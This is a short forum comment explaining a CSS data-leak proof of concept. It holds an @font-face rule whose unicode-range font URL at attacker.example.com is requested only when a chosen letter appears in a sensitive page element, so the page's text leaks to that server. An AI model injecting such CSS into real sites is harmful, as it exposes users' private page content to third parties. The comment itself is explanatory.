4 ms·
@font-face { font-family: poc; src: url(http://attacker.example.com/?A); /* fetched */ unicode-range: U+0041; } #sensitive-information { fo
by oneeyedpigeon 11y ago
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
#sensitive-information {
font-family: poc;
}
means "use the font-file 'http://attacker.example.com/?A' http://attacker.example.com/?A' to format the text of element '#sensitive-information' but only to format the letter (glyph?) A". Presumably, the browser only bothers sending the request if it needs to, so my server at attacker.example.com can look out for ?A request to determine if the referer contains an element with that text.
As stated, the attack vector will be limited, but this could certainly leak some information if you can get a site to host that CSS.